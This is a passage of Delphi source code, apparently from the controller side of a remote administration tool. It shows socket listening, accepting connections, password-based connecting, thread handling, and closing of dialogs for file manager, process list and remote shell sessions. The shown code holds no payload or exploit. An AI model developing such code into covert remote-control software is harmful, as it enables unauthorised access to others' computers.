    UpdateUser(Address, Port, '', '', GetKBS(rByte)+'/'+GetKBS(sByte), '');
  Until 1 = 2;
  ZeroMemory(@I, SizeOf(I));
  For J := 0 To 100 Do
  Begin
    If (dlgInformation[I] <> NIL) and
       (dlgInformation[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgInformation[I].Close;
    If (dlgFilemanager[I] <> NIL) and
       (dlgFilemanager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgFilemanager[I].Close;
    If (dlgProcessList[I] <> NIL) and
       (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgProcessList[I].Close;
    If (dlgRemoteShell[I] <> NIL) and
       (dlgRemoteShell[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgRemoteShell[I].Close;
  End;
  CloseSocket(Sock);
  RemoveUser(Address, Port);
  KillThread(HandleList[Count]);
End;
// Get a free handle for more threads
Function TServer.GetFreeHandle(VAR Int: Integer): Integer;
Var
  I: WORD;
Begin
  Result := -1;
  For I := 0 to 99 Do
    If (HandleList[I] = 0) Then
    Begin
      Result := I;
      Int := I;
      Break;
    End;
End;
procedure TServer.Connect(Host,password:string;Port :integer);
var sByte,D:Cardinal;
    Address,LPort:String;
begin
  Host := ResolveIP(Host);
  WSAStartUP($0101, WSA); //加载winsock库
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := inet_Addr(pChar(Host));
  if (Winsock.Connect(Sock, Addr, SizeOf(Addr)) = 0) then
  begin
    SendData(sock,'01 ' + password + #10,sByte);     //连接成功发送密码验证
    Address := RemoteAddress(Sock);
    LPort := RemotePort(Sock);
    rSocket.Sock:=Sock;
//    AddUser(Address, LPort, '', '', '', IntToStr(Sock));
    CreateThread(NIL, 0, @listenHost, @rSocket, 0, D)
  end
  else
    MessageBox(0, '主机接接不收', '提示', MB_ICONERROR);
//  WSACleanUP();
end;
// Accepting new connections.
Function TServer.AcceptNew(SSock: TSocket): Integer;
Var
  I: Integer;
  D: DWord;
Begin
  If (GetFreeHandle(I) = -1) or (SSock <= 0) Then
  Begin
    Result := ERROR_ACCEPT;
    Exit;
  End;
  rSocket.Sock := SSock;
  rSocket.Count := I;
  SocketList[I] := SSock;
  HandleList[I] := CreateThread(nil, 0, @ListenHost, @rSocket, 0, D);
  Count := ReCount();
  Result := SUCCESS_ACCEPT;
End;
// Function for creating sockets and listening.
Function TServer.Listen: Integer;
Begin
  WSAStartUp($0101, WSA);
  Count := 0;
  FillChar(SocketList, 99, 0);
  Sock := Socket(AF_INET, SOCK_STREAM, 0);
  Addr.sin_family := AF_INET;
  Addr.sin_port := hTons(Port);
  Addr.sin_addr.S_addr := INADDR_ANY;
  If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then
  Begin
    Result := ERROR_BIND;
    ReturnError := Result;
    WSACleanUp();
    Exit;
  End;
  If (Winsock.listen(Sock, SOMAXCONN) <> 0) Then
  Begin
    Result := ERROR_LISTEN;
    ReturnError := Result;
    WSACleanUp();
    Exit;
  End;
  Len := SizeOf(Remote);
  Repeat
    TempSock := Accept(Sock, @Remote, @Len);
    If (TempSock = INVALID_SOCKET) Then
    Begin
      Result := ERROR_ACCEPT;
      ReturnError := Result;
      WSACleanUp();
      Exit;
    End;
    ResolveStatus(AcceptNew(TempSock));
    TempSock := INVALID_SOCKET;
  Until False;
  WSACleanUp();
End;
end.

						